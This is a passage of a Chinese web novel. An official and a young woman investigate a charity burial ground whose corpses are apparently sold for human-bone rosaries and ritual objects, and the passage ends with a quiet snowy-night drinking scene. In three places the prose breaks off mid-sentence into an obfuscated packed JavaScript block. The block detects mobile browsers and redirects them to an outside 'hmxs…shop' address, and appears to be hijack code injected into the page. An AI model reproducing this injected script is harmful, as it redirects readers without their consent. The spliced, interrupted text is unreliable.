这就切换成“大人”了，周冶心中好笑，还真是时刻拿捏身份呢，苦笑道：“能不能信，能信哪些，我自会判断。小姐只管配不配合。咱们合作，彼此都省事，双赢。” 孟珂没应，似乎是在考虑什么。 周冶见状，又躺了下去，翘起二郎腿道：“当然，如果你不急，我也没什么好急的。我是可以慢慢查的，可小姐你，等得起吗？” 说着，侧头扫了她一眼，见她脸上仍纹丝不动。 他继续道，“京中若真有重孝，你能不回去？回去，又还能不能回来，什么时候能回来？我敢赌，我敢拖，可小姐你，敢吗？” 孟珂的脸上终于松动了。 他知道成了，想起她方才的故意撇清，回击道，“咱们合作，你不是帮我，而是帮你自己。” 孟珂转头看着他道：“大人你也不需要帮我，你是帮绥陵千千万万的百姓。” 周冶点点头：“你说了算。” *** 孟珂正色道：“大人这一夜可有什么收获，可查到什么证据，得到什么口供？” 周冶使了个眼色，洗墨将几本册子端上前来。 孟珂接手开始翻起来。 周冶不等她开口，便道：“我自然知道，这都是假账。现有的口供，也是敷衍的。那些人和家属，也早被重金收买了。” 孟珂手上顿住了：“大人现在需要一个突破口。” “对。” “这个突破口，大人觉得在哪？” 周冶道：“那个管事老馗。” “审过了？” 周冶点点头：“来这儿之前，刚审过。” 想起老馗这人，周冶也真是有意思，道：“这老馗，着实不简单。如今被关在大牢里，一点不慌不乱，说着贪生的话，可分明就一无所惧。也不知他是知道背后之人必定能救，也会救他呢，还是别的什么。” 他进牢里的时候，见老馗正站在窗下，整个人沐浴在晨光中，一动不动。 听到背后开锁的声响，他回头扫了一眼，又转过去闭上眼，慢慢地道：“这人年纪大了，每日醒来，都不知还能不能看见第二日的太阳。” 周冶走过去，站在他身侧，看着阳光透过高而窄的囚室窗口，直直地落在他那沟壑纵横的脸上，竟有种异样的质感。 周冶问：“那荒坡上剩的，大多是十年以上的尸骨，近年内的极少。近年的为什么都没了？而近年内剩的那些，又基本都是老人的尸骨，成年男女和孩子的尸骨哪儿去了？” 老馗跟没听到似的，仍闭着眼，将整张脸沐浴在眼光里，动都没动一下。 一旁的侍剑喝道：“大人问你话呢，说！尸体都哪儿去了？” 老馗的喉头终于动了动，慢条斯理地道：“小老儿已经说过了，许是让什么东西给掏了。” 周冶笑了：“到底是什么东西，掏那么干净？莫不是笤帚成精！满山坡扫得干干净净，连骨头渣子都不剩？” 说着，他抖了抖手中的收尸录，“远的不说，就说这近十日，算下来也收了几十具，就算有东西掏，你现在哪怕给我挖出几个来！那山上到底是长了无底洞，还是养了吃人不吐骨头的山精树怪？” 周冶看着老馗。 谁知，那老馗也转头看他，倒像是也在品着他似的。 周冶笑道：“你道那梁云钦和上头的人会救你？他现在自身难保了，还顾得上你？上头连他都不保，还能管你？你在这儿，也就是等着被杀人灭口的下场。你若是说出来，将功抵过，还有机会活着走出这大牢。” 老馗闻言笑了，笑得胡子直颤：“我说出来，就能走出这牢房了？小老儿一开口，就看不见明天的太阳了。” 周冶也笑：“是有这个可能。但你不说，他们就不让你死了？” 老馗：“说不说都是死，那我何必折腾？不如赌一赌。” 周冶：“不一样，你若是证人，我自然要力保你。” “只怕，大人你保不住。”老馗上下打量了他一遍，又转回头去，沐浴在晨光中，闭上了眼。 侍剑呆立一旁，看着公子，这烧柴似的老头，还不像其他人，一点刑都受不了，可难撬开口子。 就在这时，老馗却突然道：“大人若是能定此案，小老儿自然愿为大人锦上添花。大人若是定不了此案，光有我的口供，也不过多烧我这一把老骨头，没用！大人还是先另想办法吧！” 想着老馗这话，周冶对孟珂苦笑道：“在查出点什么确凿的证据之前，他是不会开口的。要定案，就需要人证物证。可等我能定案了，还需要他？！” 孟珂闻言道：“这人，是有点意思。” 周冶“啧”了一声，又躺了下去：“不过，我知道，他倒不是与我作对。我开始只是找张举的尸体，他大可找一具应付。就算最后能验出身份，也能拖点时间，足够义庄的人逃跑或掩藏证据。” “明明可以用一个小过失，掩盖一个大秘密，他却……我总觉得，他像是希望……甚至是故意引着我们去发现。那时候，我们根本没往这上头去想。谁也不可能漫山遍野，毫无目标地去挖那坟山……” 孟珂认可道：“他的话有理。仅凭他一个人的证词，这个案子哪里就定得了？既如此，也不必纠结于他说不说，什么时候说。还是先找找其他线索，试试从别的角度解开此案。” 周冶没说话，转头静静地看着她。 孟珂明白他的意思，直接问道：“这南山义庄的来历，大人可知道？” *** 周冶想起老馗在义庄中的介绍，点头道：“说是始建于十几年前，由梁会长一手创立，虽是民办，亦有官督。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999175|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孟珂顿了顿，咽下了什么，说道：“这义庄成立之初，官府曾拨款助商会筹建，还拨了田，以田庄的收成来维持日常开销。这些下拨的田庄，免税，免差役，还跟官田一样享受保护——禁止私下买卖。这些田庄兼具义仓的作用，跟常平仓一样，逢灾荒之年，同官府一起平抑粮价，赈济百姓。而田庄收成不足支持义庄开销之数，则由商会牵头筹措善款来补足。” 听罢，周冶赞道：“这法子倒好，衙门只拨一小笔款，一部分田，替一城解决了死有所葬的问题，也省了后面的长期开销。而商会提供善款资助，也是对地方大有好处的善举。” 孟珂道：“如今出了问题，只怕还要从这义庄的根子上捋。” 周冶：“你的意思是，这善举，这义庄的运作本身有问题？” 孟珂未置可否，继续问：“大人有没有查过，义庄的田庄历年收成、对外赈济钱粮的数额，还有收受善款的情况？” 周冶吩咐洗墨：“马上把涤砚叫来！还有，将小姐说的这些记录都找来。” 洗墨应着去了。 听孟珂这么一说，周冶心下又惊又疑，难道这些尸体真是都卖了？而这所谓“善举”一开始就是挂着羊头卖狗肉，奔着……谋利去的？ 方才太阳一晒，他身上昨日起始终逡巡不去的阴风，慢慢散了。可这会儿，突地又平地卷起，扑他身上来了。 涤砚很快来了，还把书吏俞用之也叫了来：“衙门里的钱粮之事，他最清楚。” 俞用之进来就不自觉地看了孟珂一眼。 周冶看向了孟珂，可她脸上什么都看不出来。他从上次霍家案卷的事就猜到了，俞用之父子只怕都是她的人。 俞用之冲二人一揖，恭敬地问：“大人有什么要问？” 周冶：“你先将那些账目都找出来。” 俞用之抬起手来，清脆地一拍掌，外面两个小厮便抬了一堆账册进来。 “小的听说义庄的人全被抓了来，料想大人这两日定会用得着，便都找了出来。现已将历年的数额抄录在此，还请大人过目。” 都备好了！周冶看了孟珂一眼，她还是一副若无其事的样子。 他接过俞用之递过来的几张纸，见一张是义庄历年的收支，一张是对外赈济的数额，比对着一看，惊道：“这……这数额若属实的话，义庄如何能维持到现在？” 俞用之道：“自建庄之初，官府拨过一次款就不再管了，虽说历年中也增拨过一些田地，但这账……确实也是算不过来的。” 周冶将手中的几张纸递给孟珂，说道：“即便加上商会捐助的善款，也不够啊。这算起来，年年都是大亏，窟窿永远都填不满，如何能一直做到如今？难不成他梁会长为公义，年年自掏腰包，非把义庄办下去不可？家底不早掏空了？他也不是那么大公无私的人啊！” 孟珂冷冷一笑：“亏本的买卖不能做，商人最是知道。” 周冶看向了俞用之：“就算有些官员厉害，能逼得商会的大户都大出血，给义庄填这窟窿，可也不是每任皆如此。我瞧着，不管商会还是义庄，挺积极主动做这事的，年前还热热闹闹地捐款来着。若是不想做，自我到任以来，早该来找我推脱了。但我可没听他们提过这茬。” “事出反常，必有妖。”孟珂笑道，转头冲周冶挑了挑眉，“只是，这妖在何处？” 周冶也看向她，目光里分明在问，“这……难道就是尸骨消失的原由？” 昨夜的阴风，不只回来了，还携着摧枯拉朽之势，让他在这大太阳底下，不寒而栗起来。 孟珂问：“大人，义庄的人手，没撤吧？” 周冶摇头：“还没。” “那就好。你的人若一撤，有些东西眨眼间就不见了。” 周冶看向她：“你的意思是......守株待兔？” 孟珂摇了摇头，笑道，“不，捉贼要拿脏。先撤，再杀个回马枪，抓他现行。到时候，可不就知道妖在哪儿了。” 79. 油水 邀月阁里，杨管家回报道：“咱们的人蹲守了一夜，衙门的人一点撤的意思都没有，也只有继续等。” “他周冶不会要把一座山都挖了吧？” 梁云钦眉头深深地皱了起来，“他若是不查清楚就不走……咱们就这么等下去，也不是个办法。” 杨管家脸上泛起一丝贼笑：“老爷，我已将消息传出去了。有些人家，必会忍不住去南山看了。” 梁云钦自然知道，这些年来，一些穷苦人家故意不收尸，让亲人被义庄当无名尸殓葬的。但他没明白，这有什么关系。 杨管家又道：“老爷，这便是让周冶撤的法子呀！” 梁云钦突然回过味来，惊道：“你的意思是……对呀！让这些人去闹！把他们的亲人挖出来，暴尸荒野，周冶这是在冒天下之大不韪！做得好！” 他喜道，“要闹就闹大些，你多找些人去衙门闹，声势越大越好。周冶要是不撤，就纠集够人，开去义庄，好好地闹上一闹。南山那么大，衙门的官差可封不死，拦不住！” *** 听了孟珂所说，周冶忙将事情吩咐了下去，想了想，又问俞用之：“你也是老人儿了，也素来知道账目问题。这义庄的猫腻，你想必也多少听过些？” 俞用之恭敬地道：“不知大人有没有听过一句话，‘镜月湖畔俩王八（霸），一个要钱来，一个要命哪！’” 瞧他一本正经地说出这民间俗话来，周冶不由有些好笑，但还是忍住了，正了色问：“这俩王八说的是？” 俞用之道：“说的就是这梁会长和孙九爷。” 他顿了顿，又道，“还有一个说法，这梁会长和孙九爷，一个做活人生意，一个做死人生意。” “死人生意？” 这话一说，周冶倒是想起来了。他以前是听过，但那时并没往心里去。他以为，说的不过是梁云钦开妓院、乐坊，做各种活人的买卖；而黑石堂杀人越货，开赌坊、放印子钱，做的是要人命的勾当，可此时再听起来，却不一样了。 这做死人生意，原来还可以有第二层意思，就是字面上的，死人生意。 他自言自语似地道：“到底什么样的死人生意？” 俞用之道：“小的听说，死人身上的油水多着呢。可这油水多的生意，谁不想知道，谁又愿意让别人知道呢？” 死人身上的油水……周冶隐隐觉得，有什么东西就要串起来了。 洗墨向来是个包打听，他突然想起了什么，忍不住插嘴道：“公子，我听……那些赌徒说过这么句话，赌输了不怕，有房卖房，有人卖人，什么都没有，还可以卖——尸。” “你什么时候去赌坊了？”可周冶此刻也没功夫追究他，先问，“怎么个卖法？” 洗墨摸了摸后脖子，笑道：“我也就是去见识见识，刚好听了那么一耳朵，只当他们满嘴胡沁呢，并未仔细打听。此刻听你们说起来，才想起听过这么一句。” 一旁抬账册的小厮突然开了口道：“大人，小的倒是听过。” 几人都看了过去。周冶忙道：“你说说。” 那小厮道：“说是只要拿一张按了手印的白纸，去放印子钱的地方，便算是提前把人抵押了。人死后，自有人去处理。有债的化债，没债的，或是抵了债还有剩的，便会有一包银子出现在丧主家门口。” “这便是卖尸？自己把自己尸体预先卖了，支银子花？还有这样的！”洗墨惊得睁大了眼睛。 周冶也在震惊中，义庄荒坡上的尸体也是这样？可光是赌徒也不至于卖那么多，这顶多是其中一条线而已。 他看向了孟珂，边想边道：“赌徒尸体是放印子钱的人买的，也就是黑石堂做的，而义庄是商会办的，这么说来，那句话说得不准确，这死人生意，是两家一起做的。” 瞧着孟珂脸上依旧云淡风轻，周冶知道，她显然早知此事了。 她知道却不说，只让他自己去看真凭实据，去听线人线报，让他自己逐步去调查、验证，这也是在择开自己了，撇清“陷害”嫌疑。 *** 明白了她的打算，周冶也不问了，继续自己琢磨道：“可卖去做什么呢？谁买呢？” 他突然想起了什么，转头看向了孟珂，难道是……人骨法器？ 初一那日，即是庵湖畔，邵夫人落水后，孟珂带着奇异的表情对他道：“公子可知，邵夫人身上那串东西是什么？” 他顺着她的目光看过去，那东西非石非玉，看着却也莹润，像是天然的东西，长久把玩后包了浆。只是，这东西做工实在粗糙，只打磨出了个大致的圆珠状，表面并不平整，每颗之间大小也不一，色泽有的偏棕黄，有的偏红棕。 周冶见过的宝贝也不少，但一时也说不出，那到底是什么材质，疑惑道：“这是？” 孟珂笑道：“其实，一说名字，公子应该听过。只是这东西少有人见，所以大多数人不认得。这便是传说中的楼陀罗之眼。” 楼陀罗之眼？周冶听着果然耳熟，在哪里听过来着？ 孟珂又道：“楼陀罗之眼，传说是楼陀罗眉心处长的第三只眼。世人也叫它金刚菩提子。” 周冶想起来了，惊愕道：“就是人的……眉心骨？” 原来是骨头，难怪看着材质不一样。他看着孟珂，确认道，“传说，有的高僧大德圆寂之后，自愿将遗骨献出，其中的眉心骨，就是这？” 京中有些人专好搜罗这些稀奇古怪的偏门玩意儿。他也是在早几年前，曾听李艺提过一回，说他长年在外游荡……游历，带一串保平安。但他一听是人骨，不管那是什么高僧低僧的，都敬谢不敏了。没想到，时隔几年，竟让他在这绥陵看到了。 “对，就是那东西！” 孟珂笑道，“什么高僧大德自愿献出？你单看那一串，一百零八颗，得多少个高僧大德？真是高僧，那不得上百年才凑得出一串来？这世间能得几串？” 周冶不由多看了两眼，瞧那看着柔弱可欺的邵夫人，手中时时捏着这一百零八颗人的眉心骨，有种奇异的感觉，自嘲道：“她倒是不发怵，可比我强多了。” 孟珂冷笑道：“人自觉得了一百零八罗汉的庇佑，有恃无恐着呢。” 周冶觉得心里发瘆，孟珂却继续道：“你可听过，西南边陲一个寺庙，有这么件人骨袈裟，乃是用四百多个人的眉心骨做成。” “四百多个人！”周冶惊道，又去看邵夫人手中那打磨得不均匀的珠子，“人骨袈裟，要怎么个做法？” 孟珂道：“珍珠衫知道吧？这人骨珠子，可以跟寻常珠玉一样，用线一颗颗编织起来，缀成图案，早固定在布料上，自然就可以做成袈裟。说是衣裳、帽子和披风，一套俱全呢。” 想到此，周冶知道，一定是了！尸体保存期短，用处也有限，可人骨的用处却多多了。做人骨念珠、甚至袈裟用，价格也比什么配阴婚的价格高多了。所谓真正的“油水”，就是这？ 想到此，周冶不禁转头去看孟珂，她早就知道了，也早就在铺垫着今日这一切。 正如她当日所说，若当真都是高僧大德自愿捐出，哪那么容易就得一串。任何一种东西，只要价够高，造假的自然也就来了。拿在手里，那到底来自高僧大德还是凡夫俗子，谁又分得出呢？ 他当时虽觉得渗人，但并未多想，此刻想起来，不由好奇，那邵夫人知道自己手中东西的来处吗？知道那每一颗，都可能来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看向周冶，“上回你见邵夫人手上那种，便是最常见的人骨念珠。人骨念珠有用手指骨的，但讲究的，还是要用珍贵的眉心骨。” 周冶想起那念珠的形制，明白了什么：“这便是为什么剩的尸骨多是老人的——老人的骨头脆，不好打磨！” 孟珂笑笑，又道：“公子应该见过画本上，邪魔外道、妖魔鬼怪在脖子上挂骷髅串的？” 周冶点点头：“自然。” 孟珂道：“那种用的大多是婴孩的头骨，脖子上挂的、镶在法杖顶端的都是。成人的头骨大，往往是用金银镶了，做法器碗；还有绷了皮面，做成鼓的。至于这鼓面的材料嘛，有用兽皮，也有用……人皮的。” 周冶越听，越寒毛直竖。 孟珂脸色也没变一下：“至于这长的手骨、脚骨，有做笛子，有做号角的。” 又补了一句，“对了，也是法杖的材料。” 周冶算是明白了，讥讽地笑道：“还真是物尽其用了！跟猪狗牛羊没什么区别。” 他抬头看天，吐出一口浊气，明明还是蓝天白云，明明阳光依旧和暖，可他却怎么也没有进院子之时的惬意之感了。 孟珂看了他一眼，继续道：“而人皮嘛，方才说了，可做鼓面，也可以做袈裟。” 她顿了顿，“书中有载，人皮鼓用的是16岁以下的、无疾而终的少女背部的皮，至于制作的方法……算了，你还是有空的时候，自己去看吧。” 周冶看她的脸色，便知道，那必定是惨绝人寰之法。 就在这时，便见涤砚急匆匆赶了过来。 “公子！查义庄的消息不知怎么传开了，好多人跑来衙门闹事了，说你带人挖坟辱尸，天道不容……还闹着要去南山，把挖的都填了呢。” 孟珂闻言意味深长地笑了，看向了周冶。 周冶一脸郁郁地站了起来，对孟珂苦笑道：“我去看看！真是一口气都不容我喘！” 80. 雪夜 衙门外闹事的人不少。周冶放眼一看，就瞧见其中一些并非善类，藏在人群里，不时挑唆着闻讯而来的家属。围观的人也越来越多。 周冶自己出面反而显得重视，便只让涤砚出去，说是衙门在帮着翻修义庄，整理南山的荒坟，打发众人。 那些人自然不依，闹得沸反盈天，一时却也不敢真冲衙门做什么。 但周冶知道，若是一直这样僵持下去，那些人难保不会制造些流血冲突。到那时，本不愿意闹大的双方，便都被架起来，下不去台了。 周冶略一沉吟，还是走了出去。他一出现，底下便起了一阵骚动。 周冶的目光来回扫了一圈，便见那几张在背后挑唆的面孔，隐有得色。 周冶目光幽深，冲他们笑笑。那些人不自觉地躲了躲。但周冶并没打算理他们，只大手一挥道：“来，笔墨摆出来！” 官差将已经备好的桌子和笔墨摆了出来。 周冶对那些家属道：“你们的话，我都听到了。你们担心亲朋好友尸骨不宁，此乃人之常情，我自是理解，也定然支持。这样，谁不放心，便可前去将葬在南山的亲友尸骨迁走，重新安葬。衙门绝无二话。” 底下的人听了，都有些意外，一时面面相觑了起来。他们只是想让衙门给个说法，并没想过要迁坟安葬。 周冶一指门口的桌子，“不过，谁要迁，得先在这儿记个名，然后回去将你们准备重新安葬的地方找好，殓葬的棺椁银子一应备好。衙门的人去验看了，确有其事，就可以去南山义庄领取尸骨。” 此话一出，底下当即交头接耳起来。 “这得多少银子？” “犯得着吗？” “谁有那个闲钱啊？有钱当初也用不着让南山义庄收了。” 周冶瞧着底下人各异的表情，含笑继续道，“当然，那些明明有能力给亲属安葬，却在这些年里，故意不替亲人收葬，蹭南山义庄和衙门的银子，浪费公帑的，一经查明，也是要罚的。” 底下的人又是一片哗然。 “这要怎么个罚法？” “要……罚钱，还是吃牢饭呢？” 撂下这话，周冶不再多说，转身便回了内堂。 洗墨跟在一旁：“公子，这事儿瞒得住吗？你如今这么骗他们，等他们发现了，不得闹得更厉害？” 周冶道：“这不过是个暂时的安抚之策。梁云钦现在就把消息放出去，就是想用这些人的口，阻挠我们办案。若是让他们这么闹起来，甚至都跑去义庄，我们还怎么查？南山那么大，我还能拿个盖子盖住不成？” 他顿了顿，叹道，“等查明了案情再公布吧，届时，便说是衙门翻修义庄，整理荒坟的时候发现的问题，什么也不耽误。” 门口的笔墨摆了半天，愣是没有一个人上前去，只围在那儿乱糟糟起瞎哄。 洗墨笑道：“还是公子有办法，一说真金白银，都不动了。” 外头一直那么闹哄哄的，周冶在外书房里，倒是静得下心来，一本接一本地翻看着回雪送来的书。翻了几本，他便不由感叹，也不知孟珂到底花了多少时间，竟将这些如此偏门的杂书，收罗了起来。 等他从书上抬头，才发现天已经黑了。外头的人也不知什么时候起，渐渐散去了。他转了转酸软的脖子，陡然瞄到窗边有个黑影闪过，吓了一跳。 “公子看什么呢？”侍剑在一旁冷不丁地出声，见竟又吓了他一哆嗦，笑道，“吓成这样？” 瞅了一眼他手上的书，“难道是鬼故事？” 周冶长吁出一口气，扯了扯嘴角，讥笑道：“可比鬼故事吓人多了……” 正这时，洗墨带了红荔进来——窗边闪过的人正是她。 “大人，小姐有请。” *** 周冶直接合上了书，跟着红荔回了内院。 他脑中还转着书中的种种离奇之事，浑然忘我地走进了竹雨院，就像多少次回来一样。 进了院子，他突地想起如今住在这儿的是谁，不由顿住了脚步，心里起了一种异样的感觉。 抬眼一看，院子里黑漆漆的，竹影摇曳，夜寒侵人。屋子里灯火通明，孟珂正坐在窗下，影子正落于窗棂上。 而她那份举手投足间的优雅，此刻也随着窗上的影子一起被放大了，就如一幅灯影画。每一处都浑然天成，都完美无暇。每一举一动，都赏心悦目。 随着她的一抬手，一低头，他只觉得心口涌出一股潮水，温柔却有力地拍着他的胸口。 正这时，回雪轻轻推开了半扇窗户。 窗内正腾腾冒着热气。孟珂面前摆着个小火炉，她竟在煮酒。 周冶一笑，这样的夜里，喝点热酒，正正好。 哪怕只是看着这场景，他那一身的阴冷，透骨的寒意，登时便散去了不少。 他的目光贪恋地看着这扇窗，心内不由升起个念头：如果他在这样寒夜归来，有这么个人在等着他，有这么份温暖的烟火气在候着他，人生，好像也就……足矣。 这些年，他常年在外游历，连年节也不思归家，一直也没觉得自己对所谓的家有什么渴慕。可就在这一刻，这个画面就这么撞入了眼帘，猝不及防地撞进了心坎。 而这个念头一冒出，倒把他打懵了一瞬。 他这才在心里面对了一个事实——自己这些日子，办完事便想回来，有闲暇也不大想往外跑了。他原只道是她客居在此，又是自己惹出来的病，合该日日关心她的病情。若是带她出去吃喝玩乐倒也罢了，怎么也不该把病人仍在这儿，自己一个人出去享乐。 他心里也隐隐觉得，有了这么个人，县衙这个原本只是前院上值，内院睡觉的地方，倒像变了似的。 洗墨见他呆立原地，半晌不动，忍不住问：“公子，不进去？” 周冶回过神来道：“进，进。” 到了门口，他整了整神色，才提步入内。 “小姐亲自煮酒，幸甚。” 人未至，夜风先送了那带着笑意的声音进来。 孟珂一抬眼，便见帘后飘出墨蓝的衣袂，那人携着夜风而入，倒格外衬出了他身上的出尘之意。而他的这种出尘，也格外不同——出世的味道少些，卓尔不群的味道多些。 他个子本就很高，往哪儿一站都是鹤立鸡群的样子。她此刻坐着，更觉得眼前的男子长身玉立，如谪仙降世，而那仙中还透出些魔气来。 她也不知道，他这么个人为何能将入世与出尘的气质都混于一身，仙气和魔气也混在一起，却并不突兀，反而显得更有味道。就像一款况味复杂的酒，有不同的味道可品。 她不由低下头，笑了。 而周冶一踏进屋内，便见孟珂抬起脸来，一张剔透如冰雪的脸，带着每一分一毫都拿捏准确的自持，却偏偏能在自然、舒展之态中，极尽优雅，自成风流。 她没说话，深深地看了他一眼，目光中闪着清透又温润的光，随即眨了眨眼，低下头，浅浅一笑。 最是那一低头，一浅笑，便如春水消融，荡起了周冶胸口无限涟漪。她太适合这种浅笑了！ 他愣了愣神，被洗墨一推，忙又回过神来，走到孟珂对面坐下。 孟珂提勺，倒上一盏，推到他面前：“散散寒气。” 周冶冲她点了点头致谢，接过来小酌一口，暖酒直入肺腑，酒气随即盈了上来，那里里外外的寒气，当真都不见了。 孟珂抬起勺子，他推过空盏去，又满上。 接连饮下三盏，周冶心口原本就荡漾的涟漪，也随着酒气一层层往上荡漾开来，眼前人的动作也慢了，声音也远了，竟有了些微醺的错觉。 他笑着看孟珂：“这可是罚酒三杯？” 顿了顿，眼里的笑意更浓了，“怎么，怪我来迟了？” 这话顿时暧昧。 孟珂难道看他这般说话，手上不由顿了顿，笑了笑，大方道：“公子说笑了。” 周冶却道：“其实，我这人惯爱说笑的，只是在小姐面前，从来未敢放肆。” 孟珂抬眼看着他。 两人一时都没说话，只是久久地对视。 有些情愫，虽从未点破，但只一眼便知。 *** 但她能做什么，会做什么？什么都不会。孟珂挪开了目光，端起酒盏，小抿了几口。 连陪着她走过这最难一段路的卢宽，她也将之隔绝于高墙之外，何况他这样一个半途遇到的……路人。她这样狠心的女人，对自己狠，对卢宽狠，又何况是出场这样晚的他？ 周冶笑了，几不可闻地吐出一口长气，只道：“小姐，不爱喝酒？” 虽然没有一起喝过酒，但他有一种感觉，她是会喝酒，酒量也必定不低的人。越是她这样内里藏着比谁都多事的人，越需要一个出口。越是时刻克制的人，也越是压抑。也不一定是喝酒，但必然有这样一个东西存在。 孟珂看了看手中的酒盏，抬了抬眉毛，似乎想起了什么，坦诚道：“有几年，喝得不少。” 那三年，她去了不少地方，试过很多东西，体验过不一样的生活，也……喝了不少酒。 她抬眼看着他，笑道，“其实也不是我要喝的，都是……二哥哥，总拉我作陪。” 卢宽的酒量比起一般人来说，算强了，却完全比不得她——天生清醒最难醉。每每到最后，他倒下了，她还一人独醒。 有时，她将他扶去睡下，看着满桌狼藉，一个人慢慢收拾战场。 有时，她安顿好他，再一个人就着月色，将剩下的酒一扫而空。那时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999177|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她哭也好，说话也罢，都没人听得见。 见一提到卢宽，她便笑了。周冶的脸色顿时黯了几分。 好在，她似乎并未注意，也很快便转过了话题，“我还记得，自己第一次喝醉时候的样子。” 如今想起来，她还是想笑，“第二天醒来，好多事都不记得了，但模模糊糊的，也知道自己哭了，知道自己说了些话——还是那种自己清醒的时候，脑海中压根儿都没有出现过的念头。” 她转眼看着周冶，“可是，后来再想想，那些话，倒都是真话。” 那是什么话呢？那些掩藏心底，连她自己都不曾发现的话，是同谁说的呢？卢宽吗？他……真的来迟了吗？周冶深深地看着她，心中升腾起从未有过的酸楚。他心下笑道，这便是所谓的嫉妒吗? 顿了顿，孟珂又道，“后来就不怎么喝了，现在，则几乎不喝。也就是不好睡的时候，躺得实在燥了，也就喝几口，散散闷。” “为什么不喝了？”周冶问。 是怕暴露，怕说错话，怕说多话？她当初到底说过什么？让她连这唯一的口子都不给自己。 谁也不依靠，谁也不诉说，就这么一个人扛着一切，时刻清醒地走每一步，一时一刻不得放下，能睡得好、吃得香吗？能不生病吗？ 过了半晌，他以为她不会答了，却又听她道，“差点做错事……就不喝了。” 错事？周冶心下更揪了，什么错事？与卢宽有关吗？ 可他不能问，只能挤出一个勉强的笑，道：“说不喝，就能不喝？” “对。”孟珂笃定地道。 果然不愧是她！周冶笑了，若轮对自己的控制，天下大概无人能出其右。 孟珂道：“其实，那也只是一个契机而已。自己也发现了，不管什么样的苦痛，喝酒都无济于事。反而让自己第二天难受，甚至难受好几天，得不偿失，何苦来哉？” “为了一时一瞬的欢愉，换更长时间的难受？一时的放肆，何苦呢？” 这话在周冶听来，却不是说喝酒了。他抬眼看着她，点点头道：“可那一时的欢愉，也许值得？我曾听过这么一句话，人能长久地保持清醒、理智的方式，便是偶尔发一点疯。” “发一点疯？”孟珂一听笑了，琢磨道，“好像是有些道理！” 两人却就此沉默了下去，静静地喝着酒，听着炉火的声音，酒翻腾的声响。 良久，周冶看着孟珂道：“我现在有点觉得，小姐是真的把我当……友了。” 孟珂：“这话怎么说？” “你愿意说一些自己的事了，愿意向我开一扇，朝向你的……小窗。” 孟珂嘴角一弯：“我最大的秘密，不是……很早就向公子袒露了。” 周冶摇头：“不一样。那是有原因的。而今夜说的这些，才是无关一切，无关是非的。是小姐你单纯地，打开心扉的……一条小缝。” 说着，朝她举起杯，“而我，很高兴。” 孟珂也笑着举起来，喝了一口。 还真是“喝一点”，周冶看着她笑了。 他原本以为，孟珂冬夜煮酒相待，自是有话要说，而那话，自然与义庄案有关。可她就是什么也没问，什么也没说。只煮酒，只闲谈，如此一夜。 而这，很好。 不过，他还是忍不住问：“小姐今夜就没有什么话说？” 孟珂冲他笑道：“我们今夜不是说了很多话？” 周冶笑着点点头：“‘春雪漫天不知寒，炉火映颊酒香酣。’有酒一炉，有……友一人，即便如此寒宵，也足可慰藉。” 孟珂看着他，也笑了。 人行走于天地间，难免有心寒骨冷之时。虽说，人生之路终归是一个人走的。但逢彻骨生寒之际，若得一盏热酒，一个不刨根究底，静静陪着的人，多好。 她得过一些这样的慰藉，也愿意向值得的人，给出一些。 “有时候，我觉得，那些无所事事的时候，才是真正属于自己的时候。”她看向窗外，“听雪落无声，听风声呜咽，看日升月落，看云卷云舒……” 说着，又收回目光，“品一盏热酒，赏一杯清茶……这些什么事也没有的时刻，任时光静静流淌的时刻，才是我们这辈子，真正能拥有的时刻。” 她看回周冶，朝他一抬盏，“故而，越是奔忙之际，越是艰难的时候，越要给自己找一些这样的时刻。” 周冶笑着抬腕饮下，随着她的目光，看向窗外。 许是春天终究到了，连风雪都轻柔了起来。雪花悠悠地飘飞而下，轻灵得不像话。 只听她道：“也许，这就是今冬最后一场雪了呢。” “而我们，没有错过。”周冶接口道。 两人相视一眼，会心笑了。 81. 玉箫 夜阑人静，周冶带着微醺的酒意出来的时候，雪也停了，铺了一地的浅白。 踏出门前，他贪恋地顿住了脚步，想在那光明温暖中，那酒香迤逦中多留哪怕一刻；走到院门口，又恋恋地回头看了一眼。 就在转身而去的时候，一阵风掠入了竹雨院，他不由回头又看了一眼，但分明没什么动静，又踩着轻轻的雪声去了。 回了听风轩，涤砚侍剑俱在，室内光明温暖，可他却觉得冷屋冷室。 他顿了顿，径直往书案前走去：“研墨！” “这么晚，还要做什么？”洗墨不由奇道，“公子莫如乘着酒意歇了。” 看公子已经自己上手铺纸，他无奈地走了过去，打着个哈欠嘀咕道，“大晚上不睡，作什么画。” 周冶也不搭理他，静静看着空白的画纸，画面已清晰如在眼前。 洗墨手上磨着磨着，忍不住问道：“公子，这又画孟小姐呢吧？这位小姐真的能信吗……你就不怕，只是在被她利用？” 周冶扶着袖子抬手蘸墨：“我信她。” “为何那么信她？”洗墨问。 周冶今夜喝酒之时，看她那始终清醒、理智，绝不失分寸的样子，不由想起上次在熹园雪夜看梅。送她回烟雨斋的时候，他不自觉往里面扫了一眼：夜里，灯光一映，他看见屏风后空落落的，全不是个富贵人家小姐卧房该有的精致样，也不是这个年纪的女子享受生活的样子。 